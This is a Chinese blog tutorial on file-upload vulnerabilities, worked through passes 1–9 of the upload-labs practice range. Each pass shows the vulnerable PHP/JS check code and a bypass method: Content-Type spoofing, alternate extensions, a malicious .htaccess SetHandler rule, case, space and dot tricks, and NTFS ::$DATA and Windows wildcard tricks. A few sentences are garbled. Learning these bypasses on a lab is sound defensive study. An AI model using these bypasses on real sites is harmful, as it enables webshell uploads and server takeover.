devbox
我家小花儿
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

干货：网站常见文件上传漏洞攻击手法和防范_文件上传攻击

作者：我家小花儿 | 2024-05-24 13:15:17

赞

踩

文件上传攻击

0x00 文件上传漏洞简述

描述

文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤，而导致的用户可以越过其本身权限向服务器上传可执行亩疟疚募Ｈ绯<耐废裆洗计洗琌A 办公文件上传，媒体上传，允许用户上传文件，如果过滤不严格，恶意用户利用文件上传漏洞，上传有害的可以执行脚本文件到服务器中，可以获取服务器的权限，或进一步危害服务器。

危害

非法用户可以上传的恶意文件控制整个网站，甚至是控制服务器，这个恶意脚本文件，又被称为 webshell ，成功上传 webshell 后门 可以很方便地查看服务器信息，查看目录，执行系统命令等。

相关知识

上传过程

客户端 选择发送的文件->服务器接收->网站程序判断->临时文件->移动到指定的路径

服务器 接收的资源程序

利用两个代码去展示一下客户端上传和服务器接收的过程：

客户端文件上传代码：

  1. <html>
  2.  
  3. 	<head></head>
  4.  
  5. 	<body>
  6.  
  7. 		<form action="upload.php" method="post" enctype="multipart/form-data">
  8.  
  9. 			<label for="file">Filename:</label>
  10.  
  11. 			<input type="file" name="file" id="file" />
  12.  
  13. 			<br />
  14.  
  15. 			<input type="submit" name="submit" value="Submit" />
  16.  
  17. 		</form>
  18.  
  19. 	</body>
  20.  
  21. </html>

服务器接收资源代码：

  1. <?php
  2. 	if ($_FILES["file"]["error"] > 0)
  3. 	 {
  4. 	 echo "Error: " . $_FILES["file"]["error"] . "<br />";
  5. 	}
  6. 	else
  7.   	{
  8. 	 echo "Upload: " . $_FILES["file"]["name"] . "<br />";
  9. 	 echo "Type: " . $_FILES["file"]["type"] . "<br />";
  10. 	 echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
  11. 	 echo "Stored in: " . $_FILES["file"]["tmp_name"];
  12. 	}
  13.  
  14. ?>

上传漏洞分类

文件上传漏洞分为：

（1）直接文件上传

这种漏洞类型是属于高危漏洞的一种，能直接 getshell ，而且没有任何限制，攻击者很容易通过上传点，获取网站的控制权限。

（2）有条件的上传漏洞

这种漏洞一般是开发者经验不足，对文件上传做了简单的限制，如简单的前端认证，文件头文件检测，这种检测行为，可以完全绕过的，另外一个方面就是权限认证没处理，没有对文件上传页面进行权限认证，匿名者就能访问上传文件，上传网页后门到网站目录，控制整个网站。

（3）上传逻辑漏洞

有一些上传逻辑有问题，导致文件上传可以被绕过，上传后门到网站上。

（4）中间件上传漏洞

有的文件上传漏洞则是通过中间件或者系统特性上传可以被服务器解析脚本文件，从而导致网站可被控制。

文件上传攻击方法

寻找测试网站的文件上传的模块，常见：头像上传，修改上传，文件编辑器中文件上传，图片上传、媒体上传等，通过抓包上传恶意的文件进行测试，上传后缀名 asp，php，aspx 等的动态语言脚本，查看上传时的返回信息，判断是否能直接上传，如果不能直接上传，再进行测试上传突破，例如上传文件的时候只允许图片格式的后缀，但是修改文件时，却没有限制后缀名，图片文件可以修改成动态语言格式如 php，则可能访问这个文件的 URL 直接 getshell，可以控制网站。

上传漏洞靶场upload-labs

练习文件上传漏洞的靶场挺多的，最基础的应该是upload-labs，基本上涵盖了所有上传漏洞的方法，据作者介绍，他是使用 php 语言编写的upload-labs，专门收集渗透测试和CTF中遇到的各种上传漏洞。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。而且也在持续更新，平时遇到的一些上传漏洞也会加入到里面去，目前是20关卡（有师傅说21关了，可能我装的时候比较早，又更新了），而且可以通过查看源码去研究漏洞产生原理，在没有思路的时候也可以去查看提示。

项目地址：Releases · c0ny1/upload-labs · GitHub

与其他的部署于本地的靶场相同，下载下来后放在 PHPStudy 的www文件夹下即可（或者其他集成环境相应的网站根目录文件夹内）并且创建一个upload文件夹用于存放上传的 webshell 。

0x01 pass-01 前端JS判定绕过

原理

在文件上传时，用户选择文件时，或者提交时，有些网站会对前端文件名进行验证，一般检测后缀名，是否为上传的格式。如果上传的格式不对，则弹出提示文字。此时数据包并没有提交到服务器，只是在客户端通过JS 文件进行校验，验证不通过则不会提交到服务器进行处理。

  1. function checkFile() {
  2.     var file = document.getElementsByName('upload_file')[0].value;
  3.     if (file == null || file == "") {
  4.         alert("请选择要上传的文件!");
  5.         return false;
  6.     }
  7.     //定义允许上传的文件类型
  8.     var allow_ext = ".jpg|.png|.gif";
  9.     //提取上传文件的类型
  10.     var ext_name = file.substring(file.lastIndexOf("."));
  11.     //判断上传文件类型是否允许上传
  12.     if (allow_ext.indexOf(ext_name + "|") == -1) {
  13.         var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
  14.         alert(errMsg);
  15.         return false;
  16.     }
  17. }

上面就是前端JS限制的代码，可以看出，它是直接获取文件后缀名并对其进行判断，如果符合白名单要求即可上传。

代码分析

客户端 html 上传文件时会调用 checkFile 函数，首先获取文件后缀名。如果文件为空，则弹出“请选择要上传的文件”，如果文件不为空，获取上传的文件后缀名不 为.jpg、.png 、.gif 其中一种则提示“该文件不允许上传”，上传失败。

判断限制

我们利用F12对页面进行审计，发现上传处的checkFile函数一共有两处，第一处是调用checkFile函数，那么我们看一下第二处，发现其正是前端JS限制的代码。那么这一关大概率就是前端限制绕过上传。

当然，我们也可以通过另一个方法去进行判断，那就是网页审计中的“网络”项查看是否向后端发送数据包，如果未发送数据包就弹出不可上传那么就是前端JS限制。可以看出来，并未向后端传输数据包，那么这里便是前端JS限制绕过。

绕过方法

（1）利用F12对网页进行审计，把校验上传文件后缀名的JS文件的调用删除，即可继续上传。

（2）利用burpsuite进行抓包处理，先将一句话的后缀改为jpg/png/gif三种文件后缀名的任意一种，绕过前端JS的判定，然后利用burpsuite抓包，在数据包中将其改回php/asp/jsp等可执行脚本文件，即可绕过前端JS判定的限制进行上传。

可以看出这里我们已经成功绕过前端JS限制进行文件上传。右击图片新链接访问即可查看我们上传的文件的位置并对其进行访问。

0x02 pass-02 Contnet-Type 检测上传

原理

有些上传模块，会对http 的类型头进行检测，如果是图片类型，允许上传文件到服务器，否则返回上传失败 。因为服务端是通过 content-type 判断类型 ，content-type 在客户端可被修改。则此文件上传也有可能被绕过的风险。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
  6.             $temp_file = $_FILES['upload_file']['tmp_name'];
  7.             $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
  8.             if (move_uploaded_file($temp_file, $img_path)) {
  9.                 $is_upload = true;
  10.             } else {
  11.                 $msg = '上传出错！';
  12.             }
  13.         } else {
  14.             $msg = '文件类型不正确，请重新上传！';
  15.         }
  16.     } else {
  17.         $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
  18.     }
  19. }

首先进行 submit 提交判断，再检测文件类型如果是即允许上传。

判断限制

因为第一关是前端JS限制，那么第二关就没必要再去考虑是否有前端了，当然，用上面检查前端JS的方法也会发现不是前端JS限制绕过，因为没有checkFile的JS函数，且向后端发送了数据，那么就不会是前端JS限制。我们抓一下包来看一下相较于JS限制多了些什么。

我们可以发现并没有多出什么数据，那么我们上传一下txt文件试一下，因为一般来说黑名单限制的话，只会限制php等脚本文件，而像txt这种文本文件不会去进行限制处理。

我们发现即使是txt也会提醒文件类型不正确，那么我们就要考虑一下它是不是对文件头或者Contnet-Type有着限制。那么我们对这两种方式进行尝试即可，尝试后发现是对Contnet-Type进行了限制。

绕过方法

Contnet-Type限制的绕过方法比较简单，我们抓包检查一下上传文件的Contnet-Type类型，并将其改为 image/jpeg ， image/png 或者image/gif 上传即可绕过。

可以看出，修改了Contnet-Type之后成功上传，右键打髉hpinfo也是顺利显示。

0x03 pass-03 黑名单绕过上传（中间件解析）

原理

上传模块，有时候会写成黑名单限制，在上传文件的时获取后缀名，再把后缀名与程序中黑名单进行检测，如果后缀名在黑名单的列表内，文件将禁止文件上传。

利用中间件在某些特定的环境中，某些特殊的后缀名仍然会被当做php文件解析的特性，我们可以上传一些特殊后缀名的php文件。如phtml，phpx 这种文件，中间件会将其解析为php，那么就可以绕过一些黑名单限制。

在 iis 里 asp 禁止上传了，可以上传 asa cer cdx 这些后缀，如在网站里允许.net执行 可以上传 ashx 代替 aspx。如果网站可以执行这些脚本，通过上传后门即可获取 webshell。

在不同的中间件中有特殊的情况，如果在 apache 可以开启 application/x-httpd-php，那么后缀名为 phtml 、php3 均被解析成 php。有的 apache 版本默认就会开启。（在 AddType application/x-httpd-php .php .phtml .php3那一条中，可以看apache的配置文件）

上传目标中间件可支持的环境的语言脚本即可，如.phtml、php3。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array('.asp','.aspx','.php','.jsp');
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         $file_ext = trim($file_ext); //收尾去空
  12.  
  13.         if(!in_array($file_ext, $deny_ext)) {
  14.             $temp_file = $_FILES['upload_file']['tmp_name'];
  15.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
  16.             if (move_uploaded_file($temp_file,$img_path)) {
  17.                  $is_upload = true;
  18.             } else {
  19.                 $msg = '上传出错！';
  20.             }
  21.         } else {
  22.             $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
  23.         }
  24.     } else {
  25.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  26.     }
  27. }

首先是检测 submit 是否有值，获取文件的后缀名，进行黑名单对比，后缀名不在黑名单内，允许上传。黑名单有着 .asp / .aspx / .php / .jsp 四个后缀名，并且代码将后缀名全部改为小写，去除文件名中的::$DATA字符串，去除后缀名最后的空格和 . ，那么以上绕过手段都不能使用，可以考虑中间件解析，重解析等手法，不过看了看下面的代码，发现会给上传的文件重命名之后，.htaccess重写绕过显然不行了。那么可以尝试从中间件解析下手。

判断限制

因为黑名单限制的话一般不会限制txt文本文件，那么我们先上传一个txt文件看一下是不是黑名单约昂笮从Α�

可以看出，上传成功了，那么显然是黑名单限制（谁家白名单添加txt文件啊），而且对文件进行了重命名，那么可以放弃.htaccess重写了，是不是可以考虑一下目录截断？黑名单的话，大小写，双写，空格，目录截断什么的都有可能，还有和windows叠加啊什么的，先试一下抓一下包看看什么情况。

可以发现，没有上传路径，那么目录截断是不行的。利用burpsuite的穷举功能，我们将黑名单常驻的那些后缀名加入字典，并将文件后缀名设置为变量，进行测试对后缀名有什么限制。当然记得不要将 . 进行编码，不然都会失败。

看一下结果，会发现phtml，php3这类文件成功上传，那么就证明这是一个通过中间件解析漏洞进行上传绕过的关卡。

绕过方法

上传图片时，如果提示不允许 php、asp 这种信息提示，可判断为黑名单限制，上传黑名单以外的后缀名即可。

从刚刚的上传测试里面我们也能发现，上传一些如.phtml，.php x 这种后缀名的文件能够上传成功。

可以看出，我们上传.phtml文件后，成功绕过黑名单限制，并且成功解析。

0x04 pass-04 重写解析绕过上传

原理

上传模块，黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。.htaccess文件的作用是 可以帮我们实现包括：文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定 IP 地址的用户、只允许特定 IP 地址的用户、禁止目录列表，以及使用其他文件作为 index 文件等一些功能。在 .htaccess 里写入 SetHandler application/x-httpd-php 则可以文件重写成 php 文件。要 .htaccess 的规则生效，则需要在 apache 开启 rewrite 重写模块，因为 apache是多数都开启这个模块，所以规则一般都生效。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         $file_ext = trim($file_ext); //收尾去空
  12.  
  13.         if (!in_array($file_ext, $deny_ext)) {
  14.             $temp_file = $_FILES['upload_file']['tmp_name'];
  15.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  16.             if (move_uploaded_file($temp_file, $img_path)) {
  17.                 $is_upload = true;
  18.             } else {
  19.                 $msg = '上传出错！';
  20.             }
  21.         } else {
  22.             $msg = '此文件不允许上传!';
  23.         }
  24.     } else {
  25.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  26.     }
  27. }

submit判断一下有没有上传的文件，然后经过去空，删除文件名末尾的点，全部转换为小写，去除::$DATA字符串，去除空格这一系列操作之后，判断文件后缀名在不在 $deny_ext 的这些黑名单内，不在的话就可以上传。可以看出，还是一处黑名单限制上传的题。

判断限制

先上传一个txt文件试一下都有什么限制，当然，这个txt文件的后缀名也做了一个手脚，将x进行大写，看一下有没有什么特殊的变化。

可以发现，txt文件并未被限制上传，并且后缀名也没有做修改，也没有修改文件名，那么我们接着用burpsuite的穷举功能去进行检测有哪些后缀能够上传成功。

可以看到，只有 .htaccess 文件和 .jHtml 文件能够上传，那么这一关要利用 .htaccess 文件进行重写解析。

绕过方法

上传.htaccess 到网站里.htaccess 内容是

  1. <FilesMatch "jpg">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>

再上传恶意的 jpg 到与 .htaccess 相同的目录里，访问图片即可获取执行脚本。当然，.htaccess文件不能有文件名，命名就是：.htaccess ，才会生效。

成功上传.htaccess文件后，我们再上传后缀名改为jpg的php文件即可。

上传成功后访问上传的.jpg文件，会发现已经解析成了php文件执行了。

0x05 pass-05 大小写绕过上传

原理

有的上传模块采用后缀名黑名单判断，但是没有对后缀名的大小写进行严格判断，导致可以更改后缀大小写可以被绕过。如 PHP、 Php、 phP、pHp等。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  10.         $file_ext = trim($file_ext); //首尾去空
  11.  
  12.         if (!in_array($file_ext, $deny_ext)) {
  13.             $temp_file = $_FILES['upload_file']['tmp_name'];
  14.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  15.             if (move_uploaded_file($temp_file, $img_path)) {
  16.                 $is_upload = true;
  17.             } else {
  18.                 $msg = '上传出错！';
  19.             }
  20.         } else {
  21.             $msg = '此文件类型不允许上传！';
  22.         }
  23.     } else {
  24.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  25.     }
  26. }

依然是老一套，去除文件名两端空格，去掉文件末尾的 . ，去掉字符串::$DATA，再次首尾去空。然后判断处理后的后缀名的，如果后缀在 deny_ext 这个字典里就禁止上传。可以看出，还是一个黑名单限制上传，不过限制的挺多的，像.htaccess文件，.phtml文件等都被限制了。

判断限制

依然是上传一个txt文件进行一下测试，看看都有什么变化，有什么没有变化。

可以发现，文件成功上传了，对比一下前后的文件名之后可以发现，这一关对文件名进行了重命名，但是文件后缀名并没有进行修改，那么可以知道依然是黑名单限制，抓包分析后，发现没有get或者post路径，那么目录截断也不必考虑。因为未将后缀名小写，可以考虑用大小写绕过，空格绕过。最后将抓取的数据包发送到测试器里面进行一下后缀名穷举看看有没有可能绕过。

可以看出，只有 .phP 文件绕过了限制，那么我们就可以使用大小写绕过，目前来看就 .phP 成功绕过。

绕过方法

利用burpsuite的穷举功能我们成功发现 .phP 文件能够成功的绕过，那么就将要上传的php文件的后缀名修改为 .phP 进行绕过即可。

0x06 pass-06 空格绕过上传

原理

在Windows下文件名后的空格是默认去除的，那么在上传模块里如果采用黑名单上传，没有对空格进行去掉的话，我们抓包修改文件后缀名，加上一个空格则可能绕过黑名单限制。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  6.         $file_name = $_FILES['upload_file']['name'];
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         
  12.         if (!in_array($file_ext, $deny_ext)) {
  13.             $temp_file = $_FILES['upload_file']['tmp_name'];
  14.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  15.             if (move_uploaded_file($temp_file,$img_path)) {
  16.                 $is_upload = true;
  17.             } else {
  18.                 $msg = '上传出错！';
  19.             }
  20.         } else {
  21.             $msg = '此文件不允许上传';
  22.         }
  23.     } else {
  24.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  25.     }
  26. }

检测 submit 后,当上传目录存在时，对文件后缀名进行删除 . ，转换为小写，去除NTFS流的操作后，将其放入黑名单 deny_ext 中进行判断。如果文件后缀名在黑名单里，就不允许上传。但是我们可以发现相较于其他的代码，这次文件后缀名没有过滤空格，那么我们可以考虑抓包后对文件后缀名添加空格进行绕过。

判断限制

继续上传 .tXt 文件看看有什么变化和哪些东西没有变化，并借此想一下可以用哪些手段进行绕过上传。

可以发现，我们上传的文件被重命名了一番，并且后缀名也进行了大小写处理，重写，大小写都没用了，那就看看，burpsuite的穷举有没有效果。（burpsuite，我滴神，呜呜呜）

emmm，效果显著（bushi），成功排除了所有手段，而且刚刚抓包的时候也没有发现能够修改上传路径，那就只有利用Windows的某些特性来进行上传绕过了，像什么，空格绕过，后缀名加 . 绕过，NTFS流绕过，:.创建文件等手段试试。（下次改一下字典，加上个 . 和 ::$DATA 来测试）

绕过方法

经过测试，发现，无论是加 . 还是加 ::$DATA，都不能进行绕过，得出结论，大概是空格绕过，先抓包试一下。

可以发现也是成功的上传了，打开上传的文件看看，可以看出显示了 phpinfo 了已经。

0x07 pass-07 利用 windows 系统特征绕过上传

原理

在 Windows 中，文件后缀名后的 . 系统会自动忽略，所以 shell.php. 和 shell.php 的效果一样。所以在黑名单限制没有对后缀名进行严格处理的时候，可以选择在文件名后面加上 . 进行绕过。（如同上面的空格绕过一样，因为Windows的特性而可以进行绕过）

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_ext = strrchr($file_name, '.');
  8.         $file_ext = strtolower($file_ext); //转换为小写
  9.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  10.         $file_ext = trim($file_ext); //首尾去空
  11.         
  12.         if (!in_array($file_ext, $deny_ext)) {
  13.             $temp_file = $_FILES['upload_file']['tmp_name'];
  14.             $img_path = UPLOAD_PATH.'/'.$file_name;
  15.             if (move_uploaded_file($temp_file, $img_path)) {
  16.                 $is_upload = true;
  17.             } else {
  18.                 $msg = '上传出错！';
  19.             }
  20.         } else {
  21.             $msg = '此文件类型不允许上传！';
  22.         }
  23.     } else {
  24.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  25.     }
  26. }

同样还是黑名单禁止上传，并且对后缀名进行了去空，转换为小写，去除NTFS流，再次去空的处理，然后将后缀名与黑名单 deny_ext 中的后缀名进行对比，但是并未对后缀名中的 . 进行限制，那么这关可以上传.php.这种文件后缀去进行绕过。

判断限制

先上传一下txt文件试一下是什么限制，以及文件名和后缀名有什么变化，为后面寻找绕过手段打下基础。

可以发现，文件成功上传，并且文件名和后缀名并未发生改变，那么可以判断，黑名单限制，而且目测和上一关一样，没有对文件后缀名进行什么特殊处理，那就可能是对其他操作的处理，像什么空格去除什么的（毕竟上一关才做过空格绕过）。当然也有可能也是要去利用Windows的一些特性去做题。再试一下burpsuite的穷举上传看一下有没有什么限制（再说一遍，burpsuite，我滴神！）

可以看出，只有jhtml成功上传，jhtml是一种特殊的文件格式，javahtml，当然，我对他的了解也就是一点点，它允许我们插入动态HTML页面内的说明，发生通过标签的<servlet> </servlet>，然后由服务器执行，不过我没尝试过，应该也是要中间件去开启重解析才能够执行，因为直接上传的话和txt文件差不多，直接在网页上面显示了代码而未运行。JHTML与ASP和PHTML在原理上是一样的，它们都是在服务器端将网页内容改变，传送到客户端的内容仍然是HTML语言写成的内容。而且，Jsp是早期JHtml的加强版。可以说，JHtml就是JSP的核心。两者互通的，但也不可以说完全一样。

那么这里应该是可以考虑上传 .jHtml 文件进行绕过的，但是我不太会用，估计需要中间件开启重解析，感兴趣的师傅可以试一下，个人觉得这个比较冷门，碰到黑名单限制的话都可以试一下。

那么大小写绕过这里是不能过了，空格绕过也用过了，尝试一下其他的Windows特性产生的漏洞吧，后缀名加 . ，NTFS交换数据流等等。经过几番尝试，可以发现，利用后缀名加 . 可以进行绕过。

绕过方法

既然已经确定了上传限制，那就尝试一下吧。先上传一个php文件，并抓包对其后缀名进行修改。

为了更加明显我将数据包发送到重发器里进行展示，可以发现成功的绕过了黑名单限制进行上传。

可以看到，我们成功上传了info.php文件并执行，在上传的文件夹中，php文件的 . 也被系统所删除。

0x08 pass-08 NTFS 交换数据流::$DATA 绕过上传

原理

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名，且保持::$DATA之前的文件名，他的目的就是不检查后缀名。例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"，而且在上传的时候也会绕过黑名单的限制。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = trim($file_ext); //首尾去空
  11.         
  12.         if (!in_array($file_ext, $deny_ext)) {
  13.             $temp_file = $_FILES['upload_file']['tmp_name'];
  14.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  15.             if (move_uploaded_file($temp_file, $img_path)) {
  16.                 $is_upload = true;
  17.             } else {
  18.                 $msg = '上传出错！';
  19.             }
  20.         } else {
  21.             $msg = '此文件类型不允许上传！';
  22.         }
  23.     } else {
  24.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  25.     }
  26. }

可以看出，同 样 用 黑 名 单 过 滤 后 缀 名。先进行去除空格，然后删除文件名末尾的 . ，再转换为小写，最后再去进行首尾去空，然后将后缀名放在黑名单 deny_ext 中进行对比限制上传。但 是 程 序 中 没 有 对 ::$DATA 进 行 过 滤 可 以 添加::$DATA 绕过上传。

判断限制

先上传一下txt文件尝试一下看看是黑名单限制还是白名单限制，顺便看一下上传的文件有什么更改。

可以发现，成功上传，但是被重命名了，那么可以判定是黑名单限制上传，我们用 burpsuite 进行一次重复提交，看看有没有什么后缀可以绕过。

可以发现，后缀名加上 ::$DATA流的文件成功上传，那么这里就是利用 ::$DATA流来进行绕过。

绕过方法

上传脚本文件的时候进行抓包，在文件后缀名上添加 ::$DATA 进行绕过。

可以发现成功上传，我们进行一次访问。

可以发现如果加上 ::%DATA 的话不能成功访问，因为Windows在保存时，将后面的 ::$DATA 忽略掉，所以我们在访问的时候同样去掉 ::$DATA 即可。

0x09 pass-09 利用 Windows 环境的叠加特征绕过上传

原理

在 Windwos 中如果上传文件名 shell.php:.jpg 的时候，会在目录下生产空白的文件名 shell.php ，再利用 php 和 windows 环境的叠加属性，以下符号在正则匹配时相等：
双引号 " 等于 点号 .
大于符号> 等于 问号 ?
小于符号< 等于 星号 *
文件名.<或文件名.<<<或文件名.>>>或文件名.>>< 匹配空文件

那么当我们上传的时候抓包将文件名修改为 shell.php:.jpg 的时候，会在上传路径里面创建一个空白的 shell.php 文件，然后利用重发器，将文件名修改为 shell.< 或者 shell.>>> 时，他会去自动匹配创建的 shell.php 文件对其进行重写，将重发器发送的文件内容写入其中，达成绕过效果。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  6.         $file_name = trim($_FILES['upload_file']['name']);
  7.         $file_name = deldot($file_name);//删除文件名末尾的点
  8.         $file_ext = strrchr($file_name, '.');
  9.         $file_ext = strtolower($file_ext); //转换为小写
  10.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  11.         $file_ext = trim($file_ext); //首尾去空
  12.         
  13.         if (!in_array($file_ext, $deny_ext)) {
  14.             $temp_file = $_FILES['upload_file']['tmp_name'];
  15.             $img_path = UPLOAD_PATH.'/'.$file_name;
  16.             if (move_uploaded_file($temp_file, $img_path)) {
  17.                 $is_upload = true;
  18.             } else {
  19.                 $msg = '上传出错！';
  20.             }
  21.         } else {
  22.             $msg = '此文件类型不允许上传！';
  23.         }
  24.     } else {
  25.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  26.     }
  27. }

同样是黑名单匹配，先对文件后缀名进行处理，把 . 去掉，把空格也过滤了，后缀名都转为小写，::$DATA 也过滤了。最后将后缀名与黑名单 deny_ext 进行匹配限制。那么我们可以考虑利用Windows的一些叠加特征来进行绕过上传，如 :. 上传文件绕过等操作。

判断限制

先尝试着传一下txt文件进行一个初步的判断，来看一下对文件名是否进行了重写等操作，以及判断一下是黑名单还是白名单限制。

可以发现，txt文件成功上传，且并未对文件名进行重写等操作。那么我们可以初步判定是黑名单限制，而且限制的名单应该挺多的，（后缀大小写也不进行处理），然后就是，burpsuite一个一个后缀的去测试，看能不能绕过。

可以发现，除了 .jhtml 文件，其他都不能上传成功，包括后缀名加 . 和 ::$DATA 流也不行，那我们只能另想办法了，抓包处理后，我们发现没有上传目录的路径进行操作，那么可以考虑双写，或者从Windows的一些特性里面进行操作。

